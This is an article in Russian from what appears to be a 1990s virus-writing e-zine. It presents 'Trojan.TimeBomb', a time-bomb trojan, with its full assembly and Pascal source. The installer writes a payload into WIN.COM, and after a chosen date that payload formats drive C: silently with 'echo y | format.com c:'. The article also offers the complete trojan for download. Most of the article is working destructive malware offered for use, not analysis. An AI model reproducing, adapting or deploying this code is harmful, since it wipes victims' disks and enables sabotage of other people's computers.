D V L # 2

Trojan.TimeBomb (c) by SMT/SMF
В последнее время широкое распространение получила утилита (или троянец - называйте как хотите) Antilame. Ее можно найти в FIDO, Internet и на CD. Смысл утилиты заключается в следующем: во время инсталляции она дописывает к файлу COMMAND.COM свой код. При первом же запуске компьютера после указанной при инсталляции даты, троянский код уничтожает содержимое диска C. "А почему бы не сотворить то же самое с файлом WIN.COM ?" - подумал кодер SMT из группы SMF. И сотворил. Вот, что представляет из себя эта программа. При каждом запуске файла WIN.COM проверяется текущая дата, и если она больше или равна указанной при инсталляции, то запускается программа "FORMAT.COM C:" Инсталлятор запрашивает день и месяц срабатывания, ищет на диске C файл WIN.COM, ищет файл FORMAT.COM, записывает в WIN.COM деструктивный код с указанием пути к файлу FORMAT.COM Ниже приводится исходные тексты деструктивного кода и инсталлятора. Файл DESTR.ASM : ===== Cut here ===== ;Деструктивный код для Trojan.TimeBomb ;(c) by SMT/SMF .model tiny .code org 100h start: mov al, 8 out 70h, al out 0ebh, al out 0ebh, al in al, 71h out 0ebh, al out 0ebh, al cmp al, 1 jnz exit mov al, 7 out 70h, al out 0ebh, al out 0ebh, al in al, 71h out 0ebh, al out 0ebh, al cmp al, 1 jge kill exit: mov al, 0 mov cs:100h, al mov ax, 0 mov cs:101h, ax mov ax,100h jmp ax kill: mov ax,cs mov ds,ax mov es,ax mov si,0;* mov di,100h cld mov cx,di mov ax,cx rep movsb jmp ax Erase: mov bx,100 mov ah,4ah int 21h mov ax,cs mov ds,ax mov es,ax mov dx,140h ;name mov bx,170h ;epb mov cs:[174h], ax mov ax,4b00h mov sp, 140h int 21h jmp exit db offset Erase + 40h-$ dup (0) string: db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' epb: db 14 dup (0) line: db 6 db '/c echo y | c:\windows\command\format.com c: >nul ',13 end start ===== Cut here ===== Файл PATCH.PAS : ===== Cut here ===== { Инсталлятор программы Trojan.TimeBomb } { Для получения массива StartCode используется программа SH.PAS } uses Dos; label Found, Found1; var F: file; StartCode: array[0..270] of byte; GotoC, GotoCode: array[0..3] of byte; Size, s1: word; str2, str, Line, WinPath: string; D, M: byte; C: char; begin str := 'Written by SMT for Mihan...'; Line := 'Copyright (c)1998 by SMT, Licensed to Mihan'; if (ParamCount=1) and ((ParamStr(1)='/undestroy') or (ParamStr(1)='-undestroy')) then begin Write('Select windows directory: '); ReadLn(Winpath); Assign(F, Winpath+'\win.com'); {$I-} Reset(F, 1); {$I+} if IOResult <> 0 then begin Writeln('Wrong windir'); Halt(1); end; s1 := filesize(F); Seek(F, FileSize(F)-4); BlockRead(F, GotoCode, 4); if char(Gotocode[3]) <> 'S' then begin Writeln('Не вижу опасности.'); Halt(2); end; Seek(F, 0); BlockWrite(F, GotoCode, 3); Seek(F, FileSize(F)-2); BlockWrite(F, StartCode, 4); Close(F); Writeln('OK'); Halt; end; FillChar(StartCode, sizeof(StartCode), $90); Str2 := str+Line; StartCode[0] := 176; StartCode[1] := 8; StartCode[2] := 230; StartCode[3] := 112; StartCode[4] := 230; StartCode[5] := 235; StartCode[6] := 230; StartCode[7] := 235; StartCode[8] := 228; StartCode[9] := 113; StartCode[10] := 230; StartCode[11] := 235; StartCode[12] := 230; StartCode[13] := 235; StartCode[14] := 60; StartCode[15] := 1; StartCode[16] := 117; StartCode[17] := 18; StartCode[18] := 176; StartCode[19] := 7; StartCode[20] := 230; StartCode[21] := 112; StartCode[22] := 230; StartCode[23] := 235; StartCode[24] := 230; StartCode[25] := 235; StartCode[26] := 228; StartCode[27] := 113; StartCode[28] := 230; StartCode[29] := 235; StartCode[30] := 230; StartCode[31] := 235; StartCode[32] := 60; StartCode[33] := 1; StartCode[34] := 125; StartCode[35] := 18; StartCode[36] := 176; StartCode[37] := 0; StartCode[38] := 46; StartCode[39] := 162; StartCode[40] := 0; StartCode[41] := 1; StartCode[42] := 184; StartCode[43] := 0; StartCode[44] := 0; StartCode[45] := 46; StartCode[46] := 163; StartCode[47] := 1; StartCode[48] := 1; StartCode[49] := 184; StartCode[50] := 0; StartCode[51] := 1; StartCode[52] := 255; StartCode[53] := 224; StartCode[54] := 140; StartCode[55] := 200; StartCode[56] := 142; StartCode[57] := 216; StartCode[58] := 142; StartCode[59] := 192; StartCode[60] := 190; StartCode[61] := 0; StartCode[62] := 0; StartCode[63] := 191; StartCode[64] := 0; StartCode[65] := 1; StartCode[66] := 252; StartCode[67] := 139; StartCode[68] := 207; StartCode[69] := 139; StartCode[70] := 193; StartCode[71] := 243; StartCode[72] := 164; StartCode[73] := 255; StartCode[74] := 224; StartCode[75] := 187; StartCode[76] := 0; { bx value for INT 4a } StartCode[77] := 16; StartCode[78] := 180; StartCode[79] := 74; StartCode[80] := 205; StartCode[81] := 33; StartCode[82] := 140; StartCode[83] := 200; StartCode[84] := 142; StartCode[85] := 216; StartCode[86] := 142; StartCode[87] := 192; StartCode[88] := 186; StartCode[89] := 64; StartCode[90] := 1; StartCode[91] := 187; StartCode[92] := 112; StartCode[93] := 1; StartCode[94] := 46; StartCode[95] := 163; StartCode[96] := 116; StartCode[97] := 1; StartCode[98] := 184; StartCode[99] := 0; StartCode[100] := 75; { Set stack StartCode[101] := 188; StartCode[102] := 64; StartCode[103] := 1; } StartCode[104] := 205; StartCode[105] := 33; StartCode[106] := 235; StartCode[107] := 184; Writeln('Designed for Windows95/Windows98'); Str := FSearch('greatest.txt', 'c:\sys\heap'); {$B-} if ( str[0]<>char(0) ) and (ParamStr(1)<>'d') then begin Writeln('Ну вот я и дома...'); Halt; end; asm mov al,8 out 70h, al out $eb, al out $eb, al in al, 71h mov M, al mov al,7 out 70h, al out $eb, al out $eb, al in al, 71h mov D, al end; Writeln('Day=', D, ' Month=', M); Writeln('Enter Day1 Month1 Windows_directory');Read(d, m); StartCode[15] := M; { date } StartCode[33] := D; { date } ReadLn(WinPath); while Winpath[1] = ' ' do Delete(Winpath, 1, 1); while WinPath[byte(WinPath[0])]=' ' do dec(WinPath[0]); Assign(F, WinPath+'\command\format.com'); {$I-} Reset(F, 1); {$I+} if IOResult<>0 then begin Writeln('Алгоритм уничтожения не найден.'); Halt(1); end; Close(F); Assign(F, Winpath+'\command.com'); {$I-} Reset(F, 1); {$I+} if IOResult <> 0 then begin Writeln('Здесь нет Windows.'); Halt(1); end; Assign(F, Winpath+'\win.com'); {WIN.COM - check date when starting windows} {$I-} Reset(F, 1); {$I+} if IOResult <> 0 then begin Writeln('Здесь нет Windows.'); Halt(1); end; Size := FileSize(F); Seek(F, Size-1); BlockRead(F, c, 1); if c = 'S' then begin WriteLn('Здесь бомба уже поставлена'); Close(F); Halt(2); end; Seek(F, 0); BlockRead(F, Gotocode[0], 3); Seek(F, 0); StartCode[$25] := Gotocode[0]; { win:100h - original values } Startcode[$2b] := Gotocode[1]; Startcode[$2c] := gotocode[2]; Move(GotoCode, GotoC, 4); Gotocode[0] := $e9; GotoCode[1] := (Size-3) mod 256; Gotocode[2] := (Size-3) div 256; BlockWrite(F, GotoCode, 3); s1 := size + $80; { pointer to params } StartCode[$72] := s1 mod 256; StartCode[$73] := s1 div 256; s1 := size + $14b; { source index } StartCode[$3d] := s1 mod 256; StartCode[$3e] := s1 div 256; StartCode[$bd] := 128; { move param offset to EPB } StartCode[$be] := 1; Line := '/c echo y | ' +WinPath+ '\command\format.com c: >nul' +char(13); Move(Line, StartCode[$cb], 60); Dec(StartCode[$cb]); Line := Winpath + '\'+ 'command.com'+char(0); Move(Line[1], StartCode[$8b], 47); Seek(F, size); BlockWrite(F, StartCode, Sizeof(startcode)); BlockWrite(F, Str2[1], Length(Str2)); GotoC[3] := byte('S'); BlockWrite(F, Gotoc, 4); Close(F); Writeln('Итак, ', D, '-го числа ', M,'-го месяца FAT диска с: будет'+ +' уничтожена!!!'); Write('Подтверждаете (y/n) ?'); repeat Read(C); until c in ['y', 'n', 'Y', 'N']; if c in ['N', 'n'] then Writeln(#10#13'К сожалению, отказываться уже поздно :-(') else WriteLn('OK'); Halt; end. ===== Cut here =====

Здесь вы можете скачать:
Троянец Trojan.TimeBomb с полными исходными текстами.

Back Вернуться на страницу оглавления